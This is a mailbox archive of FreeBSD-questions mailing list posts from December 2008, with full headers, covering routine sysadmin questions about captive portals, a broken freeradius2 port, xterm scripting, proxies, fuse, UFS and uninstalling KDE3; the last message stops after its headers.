Dec 2008 12:08:28 +0700 (ICT) Date: Wed, 3 Dec 2008 12:08:28 +0700 (ICT) Message-Id: <200812030508.mB358SUx095910@banyan.cs.ait.ac.th> From: Olivier Nicole To: freebsd-questions@freebsd.org X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Subject: Firewall with bridged interfaces and captive portal X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 05:09:19 -0000 Hi, I need to implement a firewall with bridged interfaces that offers captive portal (authentication before opening the traffic). I need bridged intefaces because we are a Computer Science department and we sometime have traffic other than plain IP, need multicast, IPv6, etc, so bridged interfaces (layer 2) is the best. So far I have been using ipf and it has been running fine for many years. Now the country regulation imposes that we have authentication for every users of Internet, so I need a captive portal (redirect http request to an authentication portal before opening the firewall). Is there any solution that exists? I looked at pfSense, but captive portal does not work on bridged interfaces; it's one or the other. Any other suggestion? Best regards, Olivier From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 06:12:41 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1DC271065670 for ; Wed, 3 Dec 2008 06:12:41 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (agora.rdrop.com [199.26.172.34]) by mx1.freebsd.org (Postfix) with ESMTP id F0B658FC08 for ; Wed, 3 Dec 2008 06:12:40 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (66@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id mB36Cees001154 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 2 Dec 2008 22:12:40 -0800 (PST) (envelope-from perryh@pluto.rain.com) Received: (from uucp@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) with UUCP id mB36CeiR001153; Tue, 2 Dec 2008 22:12:40 -0800 (PST) Received: from fbsd61 by pluto.rain.com (4.1/SMI-4.1-pluto-M2060407) id AA11413; Tue, 2 Dec 08 22:00:14 PST Date: Tue, 02 Dec 2008 22:03:42 -0800 From: perryh@pluto.rain.com To: mail@ozzmosis.com Message-Id: <4936213e.rW8/A4S+KcDyjFCb%perryh@pluto.rain.com> References: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> <20081202161358.GC2158@ozzmosis.com> <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> <20081202164306.GA3341@ozzmosis.com> In-Reply-To: <20081202164306.GA3341@ozzmosis.com> User-Agent: nail 11.25 7/29/05 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 06:12:41 -0000 > ... I'm trying to remember why I did not like pkg_add -r. IIRC, one issue with pkg_add -r is that it insists on doing everything from the remote repository, and will not bother looking for any packages (incl. dependencies) locally first. This makes sense for a brand-new installation where you know there's no local repository to search -- which is probably the use case that the author had in mind -- but can be inefficient otherwise. I started hacking on it a while back, but have not had much time lately. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 07:26:10 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 17F5A1065670 for ; Wed, 3 Dec 2008 07:26:10 +0000 (UTC) (envelope-from thavinci@thavinci.za.net) Received: from thavinci.za.net (mail.e-soul.co.za [196.211.117.44]) by mx1.freebsd.org (Postfix) with ESMTP id 830C68FC0A for ; Wed, 3 Dec 2008 07:26:09 +0000 (UTC) (envelope-from thavinci@thavinci.za.net) Received: from thavinci.za.net (localhost [127.0.0.1]) by thavinci.za.net (Postfix) with ESMTP id 8EADD9B4C2 for ; Wed, 3 Dec 2008 09:26:06 +0200 (SAST) Received: by thavinci.za.net (Postfix, from userid 1002) id 6E1629B4C1; Wed, 3 Dec 2008 09:26:06 +0200 (SAST) Received: from thavinciPC (unknown [192.168.12.110]) by thavinci.za.net (Postfix) with ESMTP id 5FAA19B4B5 for ; Wed, 3 Dec 2008 09:26:06 +0200 (SAST) From: "Marcel Grandemange" To: Date: Wed, 3 Dec 2008 09:26:01 +0200 Message-ID: <00da01c95518$64e49d90$2eadd8b0$@za.net> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AclVGGS/X7gpmncoTr+F3jVb1KPUKw== Content-Language: en-us X-Virus-Scanned: ClamAV using ClamSMTP Subject: /usr/ports/net/freeradius2 port broken X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 07:26:10 -0000 Anyone else aware that the freeradius2 port is broken? [root@devvm /usr/ports/net/freeradius2]# make ===> Vulnerability check disabled, database not found ===> Found saved configuration for freeradius-2.0.5 => freeradius-server-2.0.5.tar.bz2 doesn't seem to exist in /usr/ports/distfiles/. => Attempting to fetch from ftp://ftp.freeradius.org/pub/freeradius/./. fetch: ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: size unknown fetch: ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: size of remote file is not known freeradius-server-2.0.5.tar.bz2 317 B 3535 Bps ===> Extracting for freeradius-2.0.5 => MD5 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. => SHA256 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. ===> Refetch for 1 more times files: freeradius-server-2.0.5.tar.bz2 freeradius-server-2.0.5.tar.bz2 ===> Vulnerability check disabled, database not found ===> Found saved configuration for freeradius-2.0.5 => freeradius-server-2.0.5.tar.bz2 doesn't seem to exist in /usr/ports/distfiles/. => Attempting to fetch from ftp://ftp.freeradius.org/pub/freeradius/./. fetch: ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: size unknown fetch: ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: size of remote file is not known freeradius-server-2.0.5.tar.bz2 361 B 2208 Bps ===> Vulnerability check disabled, database not found ===> Found saved configuration for freeradius-2.0.5 => MD5 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. => SHA256 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. ===> Giving up on fetching files: freeradius-server-2.0.5.tar.bz2 freeradius-server-2.0.5.tar.bz2 Make sure the Makefile and distinfo file (/usr/ports/net/freeradius2/distinfo) are up to date. If you are absolutely sure you want to override this check, type "make NO_CHECKSUM=yes [other args]". *** Error code 1 Stop in /usr/ports/net/freeradius2. *** Error code 1 Stop in /usr/ports/net/freeradius2. *** Error code 1 Stop in /usr/ports/net/freeradius2. [root@devvm /usr/ports/net/freeradius2]# make NO_CHECKSUM=yes ===> Vulnerability check disabled, database not found ===> Found saved configuration for freeradius-2.0.5 ===> Extracting for freeradius-2.0.5 ===> freeradius-2.0.5 depends on file: /usr/local/bin/perl5.8.8 - found bzip2: /usr/ports/distfiles//freeradius-server-2.0.5.tar.bz2 is not a bzip2 file. ===> Patching for freeradius-2.0.5 ===> freeradius-2.0.5 depends on file: /usr/local/bin/perl5.8.8 - found ===> Applying FreeBSD patches for freeradius-2.0.5 patch: **** can't cd to /usr/ports/net/freeradius2/work/freeradius-server-2.0.5: No such file or directory => Patch patch-config-security failed to apply cleanly. *** Error code 1 Stop in /usr/ports/net/freeradius2. *** Error code 1 Stop in /usr/ports/net/freeradius2. [root@devvm /usr/ports/net/freeradius2]# Regards From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 07:58:53 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A4FC31065675 for ; Wed, 3 Dec 2008 07:58:53 +0000 (UTC) (envelope-from aggelidis.news@gmail.com) Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.247]) by mx1.freebsd.org (Postfix) with ESMTP id 5E4A78FC17 for ; Wed, 3 Dec 2008 07:58:53 +0000 (UTC) (envelope-from aggelidis.news@gmail.com) Received: by an-out-0708.google.com with SMTP id b6so1333946ana.13 for ; Tue, 02 Dec 2008 23:58:52 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=9/qoH7kgxQH7uwAs8oaKsfaZECASUJ+bqz9edeI9Cuw=; b=eMs0xWRHJAl0kx3HKzqy/exsAcB3HhSzh66DK0Uyk7pogXn9EhiXEgx8PEVRW9VDWG Bw+5wcx6dS8z+8iCv24Geid+B5/5k2CP1GZguOhHZH5R2LM+ronV9Ze5FP2pdEMCUhai nH4nk/T+iVW5ZyBMq4NsdC7q1Q596KVyRWDw4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=FkQv+n1C3mEqcdzwDO1DRvPEYCqvT/dPWLINMuCvDaPPi1R9FXm/GSsFf4ZLHuHFtm l1AE0LxqyQo90zF73jLxYD3m1ZzD1T54AGtqYLxoYnjJjZOxtjEVRu5mMon7vZF5ehV1 Kp8kivNTepLAXs8S+KA8vXnwuCMOITN4pTvK8= Received: by 10.100.197.3 with SMTP id u3mr7460454anf.64.1228291132521; Tue, 02 Dec 2008 23:58:52 -0800 (PST) Received: by 10.100.13.13 with HTTP; Tue, 2 Dec 2008 23:58:52 -0800 (PST) Message-ID: <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> Date: Wed, 3 Dec 2008 09:58:52 +0200 From: "Aggelidis Nikos" To: Polytropon In-Reply-To: <20081202093544.a5cb8a21.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> <20081202093544.a5cb8a21.freebsd@edvax.de> Cc: freebsd-questions@freebsd.org Subject: Re: open multiple xterms with script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 07:58:53 -0000 Thank you for your help! some additional questions: 1) is there any way to give the root password once? i tried this: #!/bin/sh su root -c "\ xterm -geometry 80x25 -title 'App 1' -e 'app1' & xterm -geometry 80x25 -title 'App 2' -e 'app2'\ " but i get this: xterm Xt error: Can't open display: %s 2) > Not very elegant and tidy, but should work. You could add some > checking to the first script mentioned so it gets a clue which > application is *not* running and restart it when called, not > starting those that are running again (second session). > i don't think i need something so complex. Is there any way to instruct xterm not to close after the execution of the program? So basically the idea is open 4 terminals, execute a specific command inside them but if the command finishes or stops, the terminal stays {with a new prompt}. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 08:36:31 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C9E07106567B for ; Wed, 3 Dec 2008 08:36:31 +0000 (UTC) (envelope-from D.Forsyth@ru.ac.za) Received: from a.mail.ru.ac.za (a.mail.ru.ac.za [IPv6:2001:4200:1010::25:1]) by mx1.freebsd.org (Postfix) with ESMTP id 1203E8FC1B for ; Wed, 3 Dec 2008 08:36:31 +0000 (UTC) (envelope-from D.Forsyth@ru.ac.za) Received: from iwr.ru.ac.za ([146.231.64.249]:59476) by a.mail.ru.ac.za with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L7nDh-000CTq-CT for freebsd-questions@freebsd.org; Wed, 03 Dec 2008 10:36:29 +0200 Received: from iwr61.iwr.ru.ac.za ([146.231.64.161]) by iwr.ru.ac.za with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L7nDh-000Do0-8T for freebsd-questions@freebsd.org; Wed, 03 Dec 2008 10:36:29 +0200 From: "DA Forsyth" Organization: IWR To: freebsd-questions@freebsd.org Date: Wed, 03 Dec 2008 10:36:29 +0200 MIME-Version: 1.0 Message-ID: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za> Priority: normal X-mailer: Pegasus Mail for Windows (4.41) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-Virus-Scanned: a.mail.ru.ac.za (146.231.129.33) Subject: freebsd-update through proxy with auth X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: d.forsyth@ru.ac.za List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 08:36:31 -0000 Hiya How do I get freebsd-update to fetch through a proxy that requires authentication? I cannot find any options in the man pages. -- DA Fo rsyth Network Supervisor Principal Technical Officer -- Institute for Water Research http://www.ru.ac.za/institutes/iwr/ From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 08:37:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 972CE106567E for ; Wed, 3 Dec 2008 08:37:25 +0000 (UTC) (envelope-from dino_vliet@yahoo.com) Received: from web51106.mail.re2.yahoo.com (web51106.mail.re2.yahoo.com [206.190.38.148]) by mx1.freebsd.org (Postfix) with SMTP id 2522D8FC1C for ; Wed, 3 Dec 2008 08:37:24 +0000 (UTC) (envelope-from dino_vliet@yahoo.com) Received: (qmail 66782 invoked by uid 60001); 3 Dec 2008 08:37:24 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type:Message-ID; b=KrIDtu8txbrcUl+vH5N3RhBwqMybtn3w3mcyev255nD60Z0k0yPcCNng0GN+SAfb/iF7W2YPJrxYLe090UXP+c0mHyWje054vQ6VL+aMDu9/Us87TvOMrGqi0TEcLuajOp7mycgNd3MifULp6iiYOqWWjzjnn89dqZkUpgYmx0g=; X-YMail-OSG: _8fuoFkVM1lX4iRSP5QYpk_nsWNZo_w65GzjUnlVBTptQvaLoG.kPBbUiCFfFVzivNRTruZ9eystDv.zPQ.v2dSNC4m0qX6nk4DEAT18d0mBxDEDlt4OdrWPSDWIbld_iC4mpeqFEfbIVUCiTJI8LX3j8uqfzo.N6mXk6Ou4FtCXhr6UmLaD42ACo94- Received: from [82.136.213.253] by web51106.mail.re2.yahoo.com via HTTP; Wed, 03 Dec 2008 00:37:23 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Wed, 3 Dec 2008 00:37:23 -0800 (PST) From: Dino Vliet To: alepulver@FreeBSD.org, freebsd-questions@freebsd.org, freebsd-ports@freebsd.org MIME-Version: 1.0 Message-ID: <255166.65897.qm@web51106.mail.re2.yahoo.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.2531 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: dino_vliet@yahoo.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 08:37:25 -0000 Hi people, I can't use my maxtor basic 640gb external harddrive on Freebsd amd64 runni= ng 7.0 because when I try to load fusefs with this command, kldload /usr/lo= cal/modules/fuse.ko I get the following error: kldload: can't load /usr/local/modules/fuse.ko: Exec format error Adding fusefs_enable=3D"YES" to /etc/rc.conf and fuse_load=3D"YES" to /boot= /loader.conf and rebooting doesn't help either, because then that error mes= sage is printed on the console. uname -a gives: FreeBSD zouk.telfort.nl 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #1: Thu Nov 2= 7 13:42:17 CET 2008=A0=A0=A0=A0 rgilaard@zouk.telfort.nl:/usr/obj/usr/src/s= ys/GENERIC=A0 amd64 pkg_info | grep fuse gives: fusefs-kmod-0.3.9.p1.20080208_4 Kernel module for fuse fusefs-libs-2.7.3=A0=A0 FUSE allows filesystem implementation in userspace fusefs-ntfs-1.2531=A0 Mount NTFS partitions (read/write) and disk images Does anyone have a clue as to what is causing this behavior? I prefer to keep the external harddisk in ntfs format, although I could eas= ily reformat it as ufs or ext3 because my whole system environment consists= of bsd and linux. But I don't know if I will violate maxtor's guarantee. So I hope someone can help me with this. Brgds Dino =0A=0A=0A From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 08:50:30 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7C82C106564A for ; Wed, 3 Dec 2008 08:50:30 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id E743C8FC1B for ; Wed, 3 Dec 2008 08:50:29 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from kobe.laptop (adsl37-141.kln.forthnet.gr [77.49.164.141]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mB38o4HP012587 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 3 Dec 2008 10:50:10 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mB38o4Q9030947; Wed, 3 Dec 2008 10:50:04 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mB38o3mS030946; Wed, 3 Dec 2008 10:50:03 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: "Aggelidis Nikos" References: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> <20081202093544.a5cb8a21.freebsd@edvax.de> <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> Date: Wed, 03 Dec 2008 10:50:03 +0200 In-Reply-To: <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> (Aggelidis Nikos's message of "Wed, 3 Dec 2008 09:58:52 +0200") Message-ID: <87wsehprr8.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-ID: mB38o4HP012587 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-3.857, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.54, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@ceid.upatras.gr X-Spam-Status: No Cc: Polytropon , freebsd-questions@freebsd.org Subject: Re: open multiple xterms with script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 08:50:30 -0000 On Wed, 3 Dec 2008 09:58:52 +0200, "Aggelidis Nikos" wrote: > Thank you for your help! > > some additional questions: > > 1) is there any way to give the root password once? i tried this: > #!/bin/sh > > su root -c "\ > xterm -geometry 80x25 -title 'App 1' -e 'app1' & > xterm -geometry 80x25 -title 'App 2' -e 'app2'\ > " > > but i get this: > xterm Xt error: Can't open display: %s su doesn't preserve the DISPLAY environment variable, so you can use one of the following: sudo bash -c "xterm & xterm &" su root -c "DISPLAY=$DISPLAY ; export DISPLAY ; xterm & xterm &" > i don't think i need something so complex. Is there any way to > instruct xterm not to close after the execution of the program? I'm not sure. It may be possible to play shell-specific tricks that cause `app1' to be executed as part of the shell's startup scripts. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 08:57:22 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 716321065670 for ; Wed, 3 Dec 2008 08:57:22 +0000 (UTC) (envelope-from Albert.Shih@obspm.fr) Received: from blade2-ext.obspm.fr (blade2-ext.obspm.fr [145.238.186.8]) by mx1.freebsd.org (Postfix) with ESMTP id E47F78FC1E for ; Wed, 3 Dec 2008 08:57:21 +0000 (UTC) (envelope-from Albert.Shih@obspm.fr) Received: from obspm.fr (pcjas.obspm.fr [145.238.184.233]) by blade2-ext.obspm.fr (8.13.8/8.13.8/SIO Observatoire de Paris - 15/11/07) with ESMTP id mB38vICE026320 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 3 Dec 2008 09:57:20 +0100 Date: Wed, 3 Dec 2008 09:57:18 +0100 From: Albert Shih To: Wojciech Puchar Message-ID: <20081203085718.GA25958@obspm.fr> References: <200812010959.15647.kirk@strauser.com> <20081202213750.GA58666@obspm.fr> <20081202225810.K16927@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20081202225810.K16927@wojtek.tensor.gdynia.pl> User-Agent: Mutt/1.5.18 (2008-05-17) X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (blade2-ext.obspm.fr [145.238.186.20]); Wed, 03 Dec 2008 09:57:20 +0100 (CET) X-Virus-Scanned: ClamAV 0.94.1/8715/Wed Dec 3 09:09:43 2008 on blade2-ext.obspm.fr X-Virus-Status: Clean Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Albert.Shih@obspm.fr List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 08:57:22 -0000 Le 02/12/2008 à 22:58:28+0100, Wojciech Puchar a écrit > > To come back to FreeBSD, I'm using FreeBSD since > 10 years, UFS is very > > slow, and when UFS2 is release I'm very happy to switch to UFS2. > > simply turn on softupdates and turn off atime Yes I known that. But event that UFS2 >> UFS1 (hopefully ;-) ) It's especially true on squid server. Regards. -- Albert SHIH SIO batiment 15 Observatoire de Paris Meudon 5 Place Jules Janssen 92195 Meudon Cedex Heure local/Local time: Mer 3 déc 2008 09:55:39 CET From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 10:01:28 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D78C21065673 for ; Wed, 3 Dec 2008 10:01:28 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from hawk.thalamus.net (hawk.thalamus.net [212.31.160.3]) by mx1.freebsd.org (Postfix) with ESMTP id 92BB08FC17 for ; Wed, 3 Dec 2008 10:01:28 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from localhost (localhost.thalamus.net [127.0.0.1]) by hawk.thalamus.net (Postfix) with ESMTP id B49991EE856 for ; Wed, 3 Dec 2008 11:01:21 +0100 (CET) X-Virus-Scanned: by amavisd-new at thalamus.net X-Spam-Flag: NO X-Spam-Score: 3.23 X-Spam-Level: *** X-Spam-Status: No, score=3.23 tagged_above=-999 required=4.2 tests=[AWL=-1.520, HELO_LH_HOME=3.169, MISSING_HEADERS=1.581] Received: from hawk.thalamus.net ([127.0.0.1]) by localhost (hawk.thalamus.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id lIVomsNps++a for ; Wed, 3 Dec 2008 11:01:08 +0100 (CET) Received: from lesbsdpc.homenet.home (c-195-216-040-164.static.bjare.net [195.216.40.164]) by hawk.thalamus.net (Postfix) with ESMTP id 5ADA41EE91F for ; Wed, 3 Dec 2008 10:58:03 +0100 (CET) Message-ID: <49365830.7040702@eskk.nu> Date: Wed, 03 Dec 2008 10:58:08 +0100 From: Leslie Jensen User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 CC: freebsd-questions@freebsd.org References: <4934E5DA.6040308@eskk.nu> <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> In-Reply-To: <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Uninstalling kde3 meta-port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 10:01:28 -0000 Mel skrev: > On Tuesday 02 December 2008 08:38:02 Leslie Jensen wrote: > >> How would you guys uninstall a meta-port? >> >> I'm considering a move to kde4 but I want a clean install, so I want to >> remove the kde3 meta-port first. > > cd /usr/ports/x11/kde3 > for dep in `make -V RUN_DEPENDS`; do > origin=${dep##*:}; > portname=`make -C ${origin} -V PORTNAME`; > pkg_delete -Xf "^${portname}-[0-9\.,_]+\$"; > done > cd /usr/ports/ports-mgmt/pkg_cutleaves > make install > pkg_cutleaves -xg > > Delete all leaves you are sure you don't need anymore, till no leaves are > left. Thanks Mel I did a root@bsdpc/usr/ports/x11/kde3:make PORTNAME make: don't know how to make PORTNAME. Stop How do I solve the error? /Leslie From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 10:11:59 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2C5B31065673 for ; Wed, 3 Dec 2008 10:11:59 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.157]) by mx1.freebsd.org (Postfix) with ESMTP id A21878FC16 for ; Wed, 3 Dec 2008 10:11:58 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: by fg-out-1718.google.com with SMTP id l26so2522233fgb.35 for ; Wed, 03 Dec 2008 02:11:57 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:cc:message-id:from:to :in-reply-to:content-type:mime-version:subject:date:references :x-mailer; bh=aISdpgwRDQvl5Y7vEHQLIof3vIXrCt3ZJoyRsm8jAv8=; b=eVwn1tweImgb2CCums8QyXQgVE3uFiyeY4avJh4eX3nlmztCzw76+QqrI1bkc2ZFlV obFmn3iUlRxB3fO16AvlvKpL+/brbwxZquhHQ/iKVaZi1a+UUe7lSi1bc1UdyTW6A8AC 7FuYY2/txs/rW5TNI0lraTKL3WDQz4Fw3RE+g= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=cc:message-id:from:to:in-reply-to:content-type:mime-version:subject :date:references:x-mailer; b=gXXHOi2yET+DA9oEm/JAiqnrZDEYMacUHsf9IvNcjyDz6STlcTNtg+CIdKAmZN7KYU f4+C21qxA989SKe4i87VJCTKGfDAe5H2IpaVewmvE2s2T04VBYZZneZhM2pnNjm//aT/ am2TGJNj9OOuUa1cw9EA2TclqfNhVo6b6aZb0= Received: by 10.86.91.12 with SMTP id o12mr7808476fgb.52.1228299117286; Wed, 03 Dec 2008 02:11:57 -0800 (PST) Received: from ?192.168.1.54? (ppp85-140-90-144.pppoe.mtu-net.ru [85.140.90.144]) by mx.google.com with ESMTPS id d6sm2500898fga.49.2008.12.03.02.11.56 (version=TLSv1/SSLv3 cipher=RC4-MD5); Wed, 03 Dec 2008 02:11:56 -0800 (PST) Message-Id: <4C574FF7-19F6-440B-A006-AC414B3A3A5B@gmail.com> From: Eugene Pimenov To: Mel In-Reply-To: <200812011352.27349.fbsd.questions@rachie.is-a-geek.net> Mime-Version: 1.0 (Apple Message framework v929.2) Date: Wed, 3 Dec 2008 13:11:54 +0300 References: <200812010631.35147.fbsd.questions@rachie.is-a-geek.net> <7f73df71-b828-41b6-a27b-c7c6626e8950@g38g2000yqn.googlegroups.com> <200812011352.27349.fbsd.questions@rachie.is-a-geek.net> X-Mailer: Apple Mail (2.929.2) Content-Type: text/plain; charset=KOI8-R; format=flowed; delsp=yes Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list 